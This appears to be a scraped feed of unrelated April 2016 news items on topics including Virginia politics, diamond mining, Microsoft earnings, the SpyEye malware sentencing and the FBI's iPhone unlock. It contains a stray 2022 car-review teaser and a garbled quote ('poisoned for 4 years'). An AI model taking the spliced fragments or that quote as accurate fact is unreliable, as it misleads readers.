The McAuliffe administration simplified and dramatically accelerated the process, reducing the application to one page from 13 and shortening from five years to three years the time period in which a felon must wait to apply for reinstatement.

The current administration also removed drug offenses from the list of those considered violent felonies not eligible for restoration and said rights can be restored even if a felon has not completed payment of court fees and restitution.

Speaking to reporters, McAuliffe denied that the order was motivated by the presidential race and said he hadnt thought about the political impact.

Theres elections every year in Virginia, McAuliffe said. So one year versus another doesnt really matter.
Ileada Rose Ribble, 76, of Roanoke, an individual of unwavering faith, went to be with her Lord on Monday, April 20, 2016.She was born in New River, Va., the daughter of the late Raymond and Frances Farmer Mathena, and as a military wife lived in Germany, Panama and many different states before returning to the area following her husband's retirement. She enjoyed reading the Bible, writing, history, and was very active in local politics. In addition to her parents, she was preceded in death by a brother, Doug Mathena.She is survived by her loving husband of 56 years, Louis Ribble Jr.; two sons, Tim Ribble and wife, Jeanie, Lou Ribble and wife, Beth; a daughter, Dixie Williams and husband, Paul; eight grandchildren; two brothers, Lee Mathena and wife, Shirley, Mike Mathena and wife, Becky; and a sister-in-law, Lorell Mathena.Funeral services will be held at 11 a.m. Saturday, April 23, 2016 at the Chapel of John M. Oakey & Son, Salem. The Rev. Chris Kingery will officiate. Interment will follow at Sherwood Memorial Park. The family will receive friends for one hour prior to the service beginning at 10 a.m. at the funeral home. An online guest book is available for family and friends by visiting www.johnmoakey.com.
(Mineweb) - Finding a multi-billion dollar diamond discovery is something that geologist Buddy Doyle dreams of every day. For well over a decade, its been his obsession. But it would be foolish to dismiss him as a self-deluded wishful thinker. History bears testament to him being quite the opposite. Which is because hes done it all before, unearthing a rich diamond deposit  that became the Diavik mine  in Canadas far north, while still a relatively youthful up-and-comer. This is when he was exploration manager for Kennecott Canada Exploration Inc.  a subsidiary of the worlds biggest mining company, Rio Tinto plc. Within weeks, well know if Doyle can do it again. And he likes his odds, even though theyre still a long shot at best. Now in his 50s, hes far shrewder and scientifically savvier than the first time around, he points out. He also has the benefit of vastly improved diamond-hunting technology, as well as the collaboration of one of the worlds top diamond-hunting gurus, Dr. Chris Jennings.
Anglo American said its 85 percent-owned De Beers recorded a 10 percent drop in diamond output to 6.9 million carats compared to 7.7 million carats a year earlier.

It said in its first quarter operational report Thursday that the drop reflected the decision by the group to reduce production in response to trading conditions in 2015.

According to Bain & Cos latest global diamond report the diamond industry suffered the ripple effect last year from the mild decline in consumer demand for diamond jewelry that started in 2014 in Greater China.

The slowdown, it said, led to a notable drop in demand for polished and rough diamonds, which in turn led to price decreases for polished and rough diamonds of 12 percent and 23 percent, respectively, since May 2014 and of 8 percent and 15 percent, respectively, since the beginning of 2015.

Anglo said production at Debswana in Botswana dropped 5 percent to 5.3 million carats as a result of the strategy to align production to trading conditions.

There was lower production at Orapa, partially offset by an increase in production at Jwaneng. Damtshaa (a satellite operation of Orapa) was placed on care and maintenance from 1 January 2016, it said.

In South Africa, Anglo said, production at DBCM eased 12 percent to 900 000 carats mainly due to the completion of the sale of Kimberley mines to Ekapa Minerals.

Production at Namdeb Holdings in Namibia also decreased by 4 percent to 0.4 million carats due to reduced grade at Namdeb.

It said output in Canada decreased by 68 percent to 0.2 million carats due to Snap Lake being placed on care and maintenance last December.

Meanwhile, Anglo said consolidated rough diamond sales of 7.6 million carats in the first two sights of 2016 reflected an improvement in trading conditions relative to the second half of 2015.

Sales volumes were 10 percent lower than in Q1 2015, however this was due to the number of Sights in the respective periods: 2 Sights in Q1 2016 vs. 3 Sights in Q1 2015, it said.

Anglo chief executive Mark Cutifani said the first quarter operating results demonstrate the market discipline the group continues to show in key markets, particularly diamonds and platinum.

We are encouraged the actions we have taken in diamonds are continuing to have a positive effect, while operational productivity continues on an upward trajectory, he said.

"As a consequence of our solid progress, our production guidance for 2016 remains unchanged.



Mathew Nyaungwa, Editor in Chief of the African Bureau, from Arusha, Tanzania, Rough&Polished




Botswana Diamonds said its joint venture company with Alrosa, Sunland Minerals, has completed diamond drilling, early core analyses and transient electro-magnetic soundings (TEM) works on its prospecting license 085 and 210 in Orapa, Botswana.

It said in a statement emailed to Rough & Polished that much of the heavy concentrate sampling had also been completed.

Reverse circulation drilling and sampling will continue into May, said Botswana Diamonds.

Ground geophysical TEM works on kimberlite pipe AK-21 were meant to specify the morphology of the body to a depth of 150-300 m, while ground geophysical surveys (magnetic, electric) were being done to delineate anomalies connected with kimberlites, it said.

Botswana Diamonds said exploration work on PL135, PL136, PL137 and PL 235 in the Gope area was still ongoing.

Work in Gope included ground geophysical works and TEM soundings on anomalies as well as heavy concentrate sampling (250 litre) on geophysical anomalies.



Mathew Nyaungwa, Editor in Chief of the African Bureau, from Arusha, Tanzania, Rough&Polished




A 9.54-carat fancy deep blue diamond once owned by entertainer and diplomat Shirley Temple failed to sell at Sothebys auction in New York.

The diamond is "an exceptional stone in quality, rarity and provenance," Sothebys said in a statement. "Unfortunately, tonight wasn't its night in the salesroom, but we remain fully confident that it will find a buyer."

The gem, estimated at $25 million to $35 million, led the Magnificent Jewels sale, which fetched $29.9 million in total, with 71 percent sold by lot. The highest selling price was $4.6 million for a fancy purplish pink diamond ring weighing 12.45 carats. A magnificent platinum and 19.25-carat diamond ring sold for $2.3 million.




Kimberley Process (KP) chair, the United Arab Emirates (UAE) has made an announcement, which draws the resumption of diamond exports from Central African Republic (CAR) a step closer, IDEX Online reports.

The KP chair informed all its participants and observers that the Berberati region of the country has been declared a Compliant Zone as per the requirements of the Administrative Decision and Operational Framework for Resumption of Exports of Rough Diamonds from the Central African Republic (CAR)  a decision that will also be communicated to the UN Security Council.

A KP monitoring team had been sent to the region in March, and is now in the process to agree on a schedule for teams monthly inspections of export shipments from Berberati.

Ahmed Bin Sulayems letter also revealed that he successfully interceded with CAR minister of mines, Joseph Agbo, in convincing the countrys largest buying house in the country, Sodiam, to continue their activities  despite an earlier announcement to immediately cease their operations.




Tanzania is conducting an auction of diamonds and tanzanite on the sidelines of the Arusha Gem Fair, which started in the East African countrys third largest city Tuesday.

The countrys acting commissioner for minerals Ally Samaje told Rough & Polished that there were three categories of the auction.

He said government had placed diamonds, tanzanite, gold and other gemstones confiscated from illegal traders under the hammer, while TanzaniteOne, a joint venture between government and Sky Associates was also auctioning tanzanite.

El-Hillal Minerals was also auctioning diamonds.

Although, the minerals commissioner could not be drawn into providing the carats that were placed under the hammer for both diamonds and tanzanite by El-Hillal and TanzaniteOne respectively, he said government was expecting not less than $1 million from its auction of the impounded goods.

However, the companies are expecting a lot in terms of revenue than the $1 million we are targeting, said Samaje.

He said the government auction of impounded gemstones was the largest ever.

Meanwhile, Samaje said government had already evaluated its parcels and it would only sell should the highest bidder per lot was closer to what they had anticipated.

If not we will keep our goods for the next auction, said Samaje.

He also said that the ban on exports of rough tanzanite weighing more than 5 grammes was temporarily lifted during the fair to allow foreign buyers get what they want without any restrictions.

The ban was put in place in 2010 to create much needed tax revenue, and to promote jobs and skills for Tanzania.



Mathew Nyaungwa, Editor in Chief of the African Bureau, from Arusha, Tanzania, Rough&Polished




DiamondCorp said two high quality diamonds  a 7.2 carat F coloured VVS2 emerald diamond and 0.9 carat E coloured VS1 pear shaped diamond were sold for a total $261,361.

The stones were manufactured from the 22.1 carat H coloured diamond sold to the company's beneficiation joint venture last January.

DiamondCorp's 50 percent share of the profit on the sale of the two polished diamonds was $71,979, lifting the total revenue on this one stone to $182,529, or $8,256 per carat.

This is an early indication of the significant additional value which can be created through beneficiating special and exceptional quality diamonds from Lace and gives management insight into how the stones perform when they are cut and polished, said company chief executive Paul Loudon.

To date, all the Lace diamonds which we have beneficiated have improved in colour, which is critical knowledge to have for optimising the marketing of our production.

Meanwhile, the company said had addressed breakdown issues that hampered output by buying in four trucks, two loaders and two single drill rigs.

This, it said, would help it achieve tonnage ramp up to deliver 30,000 tonnes per month of kimberlite from the Upper K4 Block to the conveyor belt from July onwards.

Taking into account the increase in bottom screen size in the plant from 1.00 mm to 1.25 mm, this production will put the Company on schedule to produce in excess of 75,000 carats from kimberlite in 2016 and in excess of 125,000 carats in 2017, DiamondCorp said.



Mathew Nyaungwa, Editor in Chief of the African Bureau, from Arusha, Tanzania, Rough&Polished




The Supervisory Board of ALROSA will have a meeting on April 28, 2016 to preliminarily approve the companys annual report and financial statement for 2015, as well as the auditor to check the consolidated financial statement of ALROSA Group. This was announced in a press release received by Rough&Polished on Friday.

The Supervisory Board will also decide on convening the Annual General Meeting of Shareholders of ALROSA and its agenda. It will approve recommendations to the participants of the General Meeting regarding profit distribution, the amount of dividends and their payment procedure based on the results achieved by the company in 2015.

In addition, the members of the Supervisory Board will discuss the disposal of non-core assets and results of procurement activities of ALROSA over the past year. The Board is to approve the companys Charity and Sponsorship Policy. It is also planned to discuss other issues of the current activities of ALROSA.

At the end of the meeting, the Supervisory Board will hear a report on innovative development programs and technological modernization of ALROSA in 2015.

The meeting will be chaired by Anton Siluanov, Chairman of the Supervisory Board. Yegor Borisov, First Deputy Chairman and Alexander Galushka, Deputy Chairman will be among other participants of the meeting.

ALROSA is the world's largest diamond producer by volume in carats. The company is engaged in the exploration, production and sale of diamonds. ALROSA is mining diamonds in the Republic of Sakha (Yakutia) and the Arkhangelsk Region. In 2015, the company produced 38.3 million carats of rough diamonds. Diamond reserves of ALROSA Group increased by 43.6 million carats.

Theodor Lisovoy, Rough&Polished, Moscow




J-Track LLC will open a new railroad construction and maintenance company in the Chicagoland area on May 1. The new company, J-Track LLC Central Division, will be led by Vice President and General Manager, Bill Dorris.

Dorris brings 40 years of track construction experience to this leadership role. He has spent the past 15 years in the Midwest market. Dorris most recently served as vice president and general manager for RailWorks Track Services, Inc. Prior to that, he held a similar responsibility with Balfour Beatty Rail, Inc. Dorris has held a number of industry leadership positions during his career, as well. He recently completed a term as the Chairman of the Board of Directors for the National Railroad Construction and Maintenance Association (NRC). Bill has also served as the President of the Chicago Maintenance of Way Club.

I am a railroad builder at heart and I look forward to the opportunity to manage this start-up operation for J-Track LLCs Central Division, said Dorris. I have enjoyed my time working in the Midwest and have a great understanding of how to effectively meet the needs of this market. Chicago is the rail hub of our country and this is an exciting time in my career. I will draw on my experiences since arriving in Chicago in 2001. I have had the privilege of making many friends and built strong customer relationships during my time here. I look forward to continuing to deliver a high standard of service to all customers in this market.

Mitch Levine, president of J-Track LLC said the Central Division will be headquartered in Lisle, Ill., and will provide services to the Class 1 and shortline railroads, transit agencies, private industry and commercial rail operations throughout Illinois, Indiana, Iowa, Michigan, Wisconsin and beyond.
Telefonica Deutschland Holding AG (TELDF.OB,TFTHF.OB) announced the company has sold its passive tower infrastructure to Telxius. The two parties agreed on the sale of approx. 2,350 towers for a cash purchase price of 587 million euros.

Telefonica said the cash proceeds from the transaction enhance its financial flexibility and will be reinvested in the to support infrastructure development and the development of new growth areas.

The company said the tower sale will be treated as a special effect and excluded from its outlook for 2016. The company said there are no current plans for the disposal of the remaining passive infrastructure, which consists mainly of rooftop sites.

For comments and feedback contact: editorial@rttnews.com

Business News
French telecommunications operator Orange SA (ORAN) signed an agreement with Groupama to a 65% stake in Groupama Banque, which will become Orange Bank. Groupama will retain the remaining 35%. With the deal, Orange aims to enable the development of an innovative, 100% mobile banking service first in France and then in Spain and Belgium.

Following the deal, the bank, for which the legal entity should become Orange Bank, will launch a banking service specifically designed for mobile usage in France at the beginning of 2017. The bank's service will be marketed under each companies brand within their own distribution network.

The company aims to complete the deal during the third quarter of 2016, subject to the approval of the relevant controlling authorities.

This agreement concludes the exclusive discussions that have been ongoing between the two Groups since January.

Stephane Richard, Chairman and Chief Executive Officer of Orange, said, "This agreement is a major step forward in our ambition to diversify into mobile financial services as we outlined in our Essentials2020 strategy. Groupama Banque will bring an existing banking structure as well as considerable experience in managing customer relations remotely within a banking context."

For comments and feedback contact: editorial@rttnews.com

Business News
A Federal Court in Atlanta, Georgia, has sentenced two international computer hackers from Russia and Algeria to lengthy prison terms for their roles in developing and distributing the prolific piece of malware known as SpyEye. The malicious code caused hundreds of millions of dollars in losses to the financial industry around the world.

Aleksandr Andreevich Panin, 27, from Russia, was sentenced to nine and a half years in prison, and Hamza Bendelladj, 27, from Algeria, was sentenced to 15 years in prison.

SpyEye is a sophisticated code designed to secretly automate the theft of confidential personal and financial information such as online banking credentials, credit card information, usernames, passwords, and other personally identifying information. Between 2009 and 2011, SpyEye was the preeminent malware for cyber criminals and was used to infect more than 10 million computers that caused close to $1 billion in financial harm to individuals and institutions, according to FBI.

Panin was the primary developer and distributor of SpyEye. He conspired with others, including co-defendant Hamza Bendelladj, to market various versions of SpyEye through the Internet. Prior to his arrest, Panin was planning to release a second version of SpyEye that could have been one of the most undetectable pieces of malware ever distributed.

Panin was arrested by U.S. authorities in 2013 when he flew through Hartsfield-Jackson Atlanta International Airport. In 2014, he pled guilty to conspiring to commit wire fraud and bank fraud. Bendelladj was apprehended in Thailand in 2013 and extradited to the U.S.

"Through these arrests and sentencing, the risk the public unknowingly faced from the threat posed by the imminent release of a new, highly sophisticated version of SpyEye was effectively reduced to zero," said J. Britt Johnson, special agent in charge of the FBI's Atlanta Field Office.

For comments and feedback contact: editorial@rttnews.com

Political News
Indian car market has really stepped up its game. Customers now demand more out of cars and the manufacturers are forced to meet the expectations. Be this in terms of looks, features or safety, the Indian market is growing up. Following this trend, May is expected to be an exciting month. It will feature the launch of three cars for which the Indian buyers have been waiting for a long time.

First off, we will get the Innova Crysta. This new generation Innova packs a lot of punch and finesse and will definitely appeal to the domestic crowd. Next up will be the Honda BR-V. This MPV-SUV cross breed features a seven-seater layout on the sea of five seater SUVs. Last of the launches will be the Datsun redi-GO. This entry level hatch recently had its global unveil in India and will take on the Renault Kwid. Let's have an inside look at what each car offers.

1. Toyota Innova Crysta: 2 May 2016

The Innova has been an iconic car for Toyota . After the Qualis, which was mostly used for taxi purposes, Innova came as a family MPV. Repeating history, the Crysta arrives as a premium MPV to the Innova, which has also become fairly popular in the taxi world. Talking premium, the car comes with automatic climate control & rear auto cooler, ambient lighting, power adjustable driver seat, a 7-inch touchscreen infotainment with navigation, easy close boot gate, smart entry and push button start.

The car will be powered by an all-new 2.4-litre diesel engine, with a 2.8-litre unit in the top end variant. The car will face heat from the Tata Hexa, when the Indian manufacturer decides to launch it in India . Read more about the Innova Crysta in the all you need to know story.

2. Honda BR-V: 5 May 2016

Honda has packed the BR-V with all what was needed. It has both 1.5-litre petrol and diesel options, with an optional CVT automatic expected with the petrol variant. Also, a huge advantage for the car will be the seven-seats layout, which will definitely act in its favour. This car will fall in a pool of SUVs like Duster, Terrano and Creta and will have to climb its way on top of the competition.

3. Datsun redi-GO

Redi-Go made its global debut in India on 14 April 2016. The car comes as a refreshed change in the entry level segment and will most likely be priced very close to the Kwid. It also shares its underpinnings with the Kwid, but gets a more conventional hatchback shape, as compared to the SUV-like stance of the Renault. It will also feature the same 800cc unit but, in a slightly different tune. Datsun has not had a very impressive start to its Indian wing and keenly depends on the success of redi-GO to move forward in the Indian market.

These cars will surely have a huge impact on the Indian cars scenario. Innova Crysta, for the time being will enjoy an unmatched space, till the Hexa arrives. Creta has been largely successful in India but with the arrival of BR-V, Hyundai will have to rethink their strategy to remain dominant. Redi-GO will have the toughest time of the three, as it comes from a brand which is not very popular and it arrives in an arena where the king comes to play. Stay tuned for all the latest updates on these cars and tell us which car are you most excited about, in the comments section below.

Source: CarDekho.com
Microsoft revenue from Windows software licenses declined 2 per cent during the quarter, after adjusting for currency fluctuations.

San Francisco: Microsoft reported a surprise drop in sales and profit for the first three months of the year, a sign the tech giant is still trying to find its way in the post-PC era. Wall Street was expecting the company to show positive results from a series of changes that CEO Satya Nadella has been making.

Instead, revenue for the January-March quarter fell 6 per cent to $20.5 billion, while profit plunged 25 per cent to $3.76 billion. Thursday's report came as other industry stalwarts reported their own struggles with seismic shifts in the way people use technology.

On Monday, IBM reported its 16th consecutive quarter of revenue decline, as commercial customers abandon the once-standard model of buying programs to install on their own computers, and instead use more software online. A day later, Intel said it's cutting 12,000 jobs as fewer people buy PCs that run on Intel processors, opting instead for mobile devices such as smartphones and tablets.

But many analysts were expecting Microsoft to do better. While sales of personal computers have been sliding for the past four years, Nadella has been working to make Microsoft less dependent on revenue from its flagship Windows operating system, used mostly on PCs.

Microsoft said revenue from Windows software licenses declined 2 per cent during the quarter, after adjusting for currency fluctuations. That's better than the overall drop in PC shipments, which analysts at the Gartner research firm estimated at nearly 10 per cent.

But revenue from business software and Internet-based services, known as cloud computing, didn't grow as much as analysts expected. In particular, Microsoft saw only a 3 per cent increase in revenue from its "Intelligent Cloud" business, where the company has invested heavily to help business customers run their operations on Microsoft's servers. The division's operating profit fell by 14 per cent.

In a few bright spots, the company said sales of its Surface tablet computers rose 56 per cent to $1.1 billion, while revenue from ads shown with results from its Bing search engine grew 55 percent to $1.5 billion. After spending billions of dollars to develop Bing as a rival for Google's highly lucrative search business, Microsoft said the service started showing a profit last fall.

Some of that growth can be credited to Windows 10, which comes with a redesigned Web browser and Cortana, a Siri-like digital assistant. Both are designed to encourage more use of Bing.

Microsoft says Windows 10 is now running on more than 270 million machines, a healthy figure for software that was released only nine months ago. But some of that is the result of free upgrades offered to users of older Windows versions, rather than as software sales to PC manufacturers.

Under Nadella, the company has also released free versions of programs like Word and Excel for smartphones and tablets that run competing operating systems from Apple and Google. The company hopes to make money by charging users for extra features, and for related services like Skype messaging and online file storage.

Microsoft is also nudging users to change how they buy software. Subscriptions to its Office 365 service are growing rapidly. And because Microsoft delivers regular updates over the Internet, analysts say that should help the company sell extra features, particularly to business users.

But the turnaround is taking time to materialize. Microsoft said it earned 47 cents a share for the fiscal third quarter, or 62 cents after adjusting for one-time charges. Analysts surveyed by

FactSet were expecting adjusted earnings of 64 cents a share and revenue of $22.1 billion. Microsoft Corp. executives blamed higher-than-expected taxes for cutting into its profit for the quarter.

"Overall, we had a solid quarter," Nadella said during a conference call Thursday. Some analysts were inclined to accept that report. In an email, Mark Moerdler of Bernstein Research said Microsoft's earnings per share would have met Wall Street expectations if not for a "tax technicality."

Microsoft's stock price has been rising in recent months, as investors have generally supported Nadella's turnaround effort. But the earnings report sent shares down more than 5 per cent in after-market trading, after closing at $55.78.
Millennial Moms Review: 2022 Acura MDX is pretty close to the perfect family car

I dont know if perfect is attainable, especially considering weve got the world of options when it comes to modern vehicles. Were spoiled and, as such, we have very specific needs and wants. Driving-wise, the 2022 Acura MDX is one of my favourite ...
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The phone had been used by Syed Farook, who along with his wife Tashfeen Malik slaughtered 14 people at a party in San Bernardino, California on December 2 before dying in a firefight with police.

Washington, United States: The Federal Bureau of Investigation paid hackers more than $1 million to break into the iPhone used by one of the San Bernardino attackers, director James Comey said Thursday.

Asked at the Aspen Security Forum in London how much the US agency paid for help to get into the phone, Comey replied, "A lot."

"More than I will make in the remainder of this job, which is seven years and four months, for sure. But it was, in my view, worth it," Comey said.

Based on Comey's salary, listed at about $14,900 a month, that comes to more than $1.3 million for the hack, the results of which have still not been divulged.

A video of Comey's talk was streamed on the Aspen Security Institute website. Apple and the FBI were headed for a court showdown setting national security needs against privacy principles after the agency took the smartphone maker to court to force it to break into the encryption-protected iPhone 5C.

The phone had been used by Syed Farook, who along with his wife Tashfeen Malik slaughtered 14 people at a party in San Bernardino, California on December 2 before dying in a firefight with police.

Apple, backed by a broad coalition of technology giants like Google and Facebook, was fiercely opposed to assisting the government in unlocking the phone on grounds it would have wide-reaching implications on digital security and privacy.

Comey said the litigation in the case had inspired a "marketplace around the world" for people to break into an Apple 5C running IOS 9, the phone Farook used.

"Somebody approached us from outside of the government and said, 'We think we've come up with a solution.' And we tested and tested and tested it, and then we purchased it."

He acknowledged the fundamental principles in conflict in the case and said he was glad that, at least in this instance, a way outside the court was found.

"Litigation is not a great place to resolve hard values questions that implicate all kinds of things that all of us care about," he said.

"We have a problem where all of us share a set of values that are in conflict. We have to figure out how to resolve privacy and security on the Internet and on our devices with public safety."
New York: Eyeing an investment of USD 1trillion in the energy sector, India will set up help desks across the country as well as in the US, the UK, Australia and Japan to handhold investors through laws and regulations.

Interacting with reporters here yesterday, Minister for Power, Coal and Renewable Energy Piyush Goyal, currently in the US, said investors have mainly expressed concerns on two issues -- health of power distribution companies and different regulations and regimes in states.

"One very good suggestion... is we should have a help desk in Delhi or different parts of India which can help investors navigate different tax laws and regulatory mechanisms. As soon as I get back, I am looking at setting that up," he said.

The Indian Renewable Energy Development Agency Ltd (IREDA) is likely to be the nodal agency that would set up such help desks.

"I am also going to explore the possibility of having such a help desk which can give credible guidance and help people navigate in their investments in the US, Europe, Japan and Australia as well," he said.

The department is already looking at standard Power Purchase Agreements across the country and has tied up with states to bring out a framework of agreement to help investors across the world.

While investors expressed concern on financial health of discoms is some states, they were at the same time "excited" about the potential of the UDAY scheme for turnaround of the power distribution companies.

According to Goyal, India offers the world a huge market opportunity with a demand growth of quadrupling energy consumption by 2030.

"I see in the next 5-6 years a USD 250 billion opportunity in the energy sector and by 2030, when we are planning to expand renewable energy also very significantly, I see a trillion dollar investment opportunity in India," he said.

Goyal claimed that this kind of investment would be unparalleled and expressed confidence that savvy investors will see great hope and potential in the Indian power sector.
Here's what the new Docking State Office Building could look like
Mumbai: Earlier the reports were rife about Kangana Ranaut working in Rajkumar Hiranis next project. It all started with rumours about Kangana being approached to play Sanjay Dutt's wife Manyata in his biopic. Later, it was reported that the actress was indeed approached by Rajkumar Hirani but for some another project, where she was to play a comedian in the film.

Ever since the news about the two working together came out, B-Town was abuzz with speculations for quite some time. However, recent reports tell a different story altogether.

According to a report in DNA, filmmaker Rajkumar Hirani is not really thrilled with the rumours making round in B-Town. Raju is puzzled and irritated that every time he meets Kangana, stories fly about their working together. And while he has directed her along with Mahendra Singh Dhoni in an Indian Premier League (IPL) ad, he did so at the request of Mukesh and Nita Ambani, who he is close to. The next thing he hears, is that hes directing a film for Kanganas home production. Hes horrified as its completely untrue. Also, he finds it strange that whenever he meets the actress, the media is tipped off, a source told the daily.

The source further reveals that people in B-Town are chary of her. Reportedly, the actress invited herself to Saif Ali Khans recent intimate dinner get together and being the gentleman that Saif is, he just went with the flow.

The source reveals, Fact is, her Rangoon co-stars Shahid Kapoor and Saif are closer to each other than they are to her. Saif and Hirani are gentlemen and both would never castigate her in public by giving statements against her. Hirani is unable to understand her motives for spreading fake stories. Hes not involved with her professionally in any way and feels slighted that a filmmaker of his stature is being taken for granted like this with fabricated stories of their proximity.
The Latest on sentencing of man who piloted gyrocopter to Washington, D.C., landing in 2015 (all times local):

4:45 p.m.

A man who piloted a one-person gyrocopter through some of the most restricted U.S. airspace and landed on the lawn of the Capitol in Washington has been sentenced to 120 days in jail.

Florida resident Douglas Hughes was sentenced Thursday in federal court in Washington by Judge Colleen Kollar-Kotelly.

Hughes has said his April 15, 2015, flight in the bare-bones aircraft  which began in Gettysburg, Pennsylvania  was a way to call attention to the influence of big money in politics.

Hughes pleaded guilty in November to a felony of operating a gyrocopter without a license.

Prosecutors asked he be sentenced to 10 months in prison, arguing that the former mail carrier from Ruskin, Florida, put countless lives at risk. Hughes' attorneys argued he should be allowed to remain out of jail.

___

4:05 a.m.

A man who piloted his one-person gyrocopter through some of the most restricted U.S. airspace and landed on the lawn of the Capitol was scheduled to be sentenced Thursday.

Douglas Hughes, 62, has said his April 15, 2015, flight in the bare-bones aircraft was a way to call attention to the influence of big money in politics. The former mail carrier from Ruskin, Florida, was carrying letters for each member of Congress on the topic of campaign finance and the tail of his aircraft had a postal service logo.

Hughes pleaded guilty in November to a felony of operating a gyrocopter without a license.

Prosecutors are asking for 10 months in prison, arguing that his flight from Gettysburg, Pennsylvania, to Washington put countless lives at risk. In a court document they filed ahead of the sentencing hearing, they argued Hughes' flight "put unsuspecting people in real danger, disrupted operations at the United States Capitol, and demonstrated a profound disrespect for the law and the legitimate rights of others." Hughes "craved attention" and "violated important public safety laws because he wanted people to pay attention to his political views," prosecutors wrote.

Hughes' attorneys say he should be allowed to remain out of jail. Their statement to the court underscored that no one was injured as a result of Hughes' flight. They called the stunt an "act of aerial civil disobedience" and a "freedom flight" and said it "was in the nation's proud tradition of nonviolent civil disobedience."

"The attention his flight gained, Mr. Hughes hopes, will force the nation to finally confront the issue of campaign finance rather than continue to ignore the problem. For this reason, Mr. Hughes should be considered a hero for his conduct," his attorneys wrote.

Hughes' attorneys and prosecutors disagree about how much danger the public was in as a result of his flight. Prosecutors wrote Hughes had "close encounters" with several aircraft and flew "dangerously close" to a commercial flight departing a Washington-area airport. Hughes calls it a "fabrication" that he almost collided with the commercial flight.

-AP
Paris attacks suspect Salah Abdeslam has been charged with attempted murder over a shootout with police that took place last month in Brussels.

The new charge was made public in a statement Thursday from Belgian federal prosecutors.

Four police officers were fired on and slightly injured when they arrived March 15 to search what they thought was a vacant apartment in the Forest district. Police fatally shot an Algerian suspect, and Abdeslam's fingerprints were found.

Three days later, Abdeslam was arrested in another Brussels hideout.

Abdeslam is a key suspect in the Nov. 13 attacks that killed 130 victims in Paris. Belgian police have also been questioning him about potential links to the three suicide bombers who attacked the Brussels Airport and subway on March 22, killing 32 victims.

-AP
A year ago, 18-year-old Auckland student, Leorida Peters, never thought shed be meeting with Helen Clark at the United Nations Headquarters in New York.

But after claiming the Leadership and Inspiration Award at the Ministry for Pacific Peoples 2015 Prime Ministers Pacific Youth Awards, that is exactly what this young New Zealand born Samoan leader is doing.

The prize offered an all-expenses paid trip to New York City, the home of the United Nations Headquarters, sponsored by Air New Zealand and supported by the Ministry for Pacific Peoples and the Ministry of Foreign Affairs and Trade (M.F.A.T).

The idea behind the prize is that Peters, as an emerging Pacific Leader, would learn from some of the worlds top leaders on a global stage.

The Prime Ministers Pacific Youth Awards are all about the encouraging the success of New Zealands young Pacific people and this chance to meet with Helen Clark will inspire Leorida, and other young people watching her, to aim high, Ministry for Pacific Peoples Chief Executive Pauline Winter says.

A highlight of the visit is a meeting this morning with former Prime Minister and United Nations Development Programme (U.N.D.P) Administrator, Helen Clark, hot on the heels of New Zealand announcing Ms. Clark as a candidate to be the next UN Secretary-General.

Leorida presented Helen Clark with a plaque carved by her cousin.

2016 is perfect timing for Leoridas trip as it occurs during the second year of New Zealands non-permanent seat on the UN Security Council.
The Chief Executive Officer of the Samoa Qualifications Authority (S.Q.A), Fepuleai Sinapi Moli, has passed away.

A close relative who did not wish to give her name confirmed that Fepuleai passed away in New Zealand on Thursday.

She had left late last year for treatment and we cannot say anything more as the families are yet to meet, said the relative.

Fepuleai was the founding C.E.O. of the Samoa Qualifications Authority which was officially established in 2006.

On social media friends of Fepuleai have shared their memories and paid tribute to the C.E.O.

Samoas High Commissioner to Australia, Hinauri Petana, was among them.

On her Facebook post, the Commissioner said Fepuleai was a highly respected and loved member of the teaching fraternity, the education sector especially to her most favourite institute, S.Q.A.

I had the privilege to work with her from 2012 to 2015 and I am proud of her many achievements especially her dedication as the driving force behind the successful establishment of the S.Q.A, she wrote.

A very diligent young woman, she truly persevered to attain excellence in the standards of national qualifications that would be comparable to international and regional measures of such excellence.

She inspired her staff and colleagues and had a clear vision of where she wanted to take SQA to.

It was unfortunate that she should contract cancer at the height of her efforts, but it never dimmed her vision and all she fought for to ensure Samoa would be considered among the giants of post secondary education.

Fepuleai was a gentle warrior with a faith in God that also led to her influencing the work environment, said Ms. Petana.

She truly feared God and did all to revere and love him whether it was work or her own personal life. What a loss to Samoa and the region. She was such a blessing and I thank God for her life of service.

Fepuleai is survived by her husband Sala Felise Moli and son.

SQA statement

Late last night, the S.Q.A issued a statement. It reads:

The Samoa Qualifications Authority together with the Board is holding a Memorial Service to remember the life of service of their beloved Chief Executive Officer; Fepuleai Sinapi Moli on Sunday 24th of April at the Convention Center, Tui Atua Tupua Tamasese Efi (TATTE) at 5:00 in the evening.

Fepuleai passed away peacefully on Thursday 21st April 2016 in Wellington, New Zealand. Her funeral service will be held in Lower Hutt, New Zealand.

The Memorial Service will be attended by government officials, stakeholders and partners of the SQA, friends, former colleagues and students of Fepuleai from previous career roles.
After much delay, Santa Banta Pvt. Ltd. saw the day of light as it released nationwide this Friday. Directed by Akashdeep, the film stars Boman Irani, Vir Das, Neha Dhupia and Lisa Haydon in the leads. When we went to review the film at a nearby theatre, 50-60 Sikh people entered the venue of PVR Sion around 3:30 pm and requested the authorities to stop the screening.

While the opening credits began, one representative from the Sikh protestors and one official from PVR walked into the theatre and told people to vacate the cinema. There were around 10-12 people in the theatre who left in a shock. However, everyone cooperated and vacated the premises. PVR official assured the audience that they would get their refund from the ticket window.

The Sikh protestors were shouting slogans against the makers of the film, Viacom 18 and Sheeba Sabir along with the director Akashdeep Sabir. When contacted one Sikh protestor, he said, We have the issue with the title of the film. We are also highly upset on the jokes which are being made on Sikhs in the film. We are going to other theatres to stop the screenings from here."

(Photo: DC)

The situation became even worse when few policemen came to the theatre. We tried contacting a policeman amidst of major chaos, he said, The Sikh people are creating chaos since morning. Few Sikh people came to see the film in morning and since then they have been asking to stop the screenings.

When contacted the Congress leader Charan Singh Sapra, he said, The community doesnt want the movie. There is already one case which is going in SC against Santa Banta jokes. The director Akashdeep has deliberately made mockery of Sikhs. One month ago we wrote to the censor that they should not pass the movie since there are silly jokes in the film. One should never forget that Sikhs have sacrificed their lives for Hindus and we had such a rich history. We have contributed to the Inidain economy. In spite of all this, Viacom 18 and Akashdeep wanted to make money by doing mockery of Sikhs. We have visited K Star, Chembur, Imax Wadala, PVR Sion, Plaza, Dadar, Kalpana, Kurla and also in Vashi and Malad Inox. On Saturday we are visiting the entire western line. We have also spoken the operation manager of PVR for stalling all the shows of Santa Banta Pvt. Ltd. The protest has started in Delhi and Punjab also. The shows are shut in cities like Nagpur, Nanded, Pune and Akola. We have also appealed through social media that a case should be registered under the section of IPC 295 A that says if someone will deliberately hurt religious sentiments, the person should be poisoned for 4 years and the heavy fine decided by the judge. The hearing on the same will be held 27th April in Mumbai.

(Photo: DC)

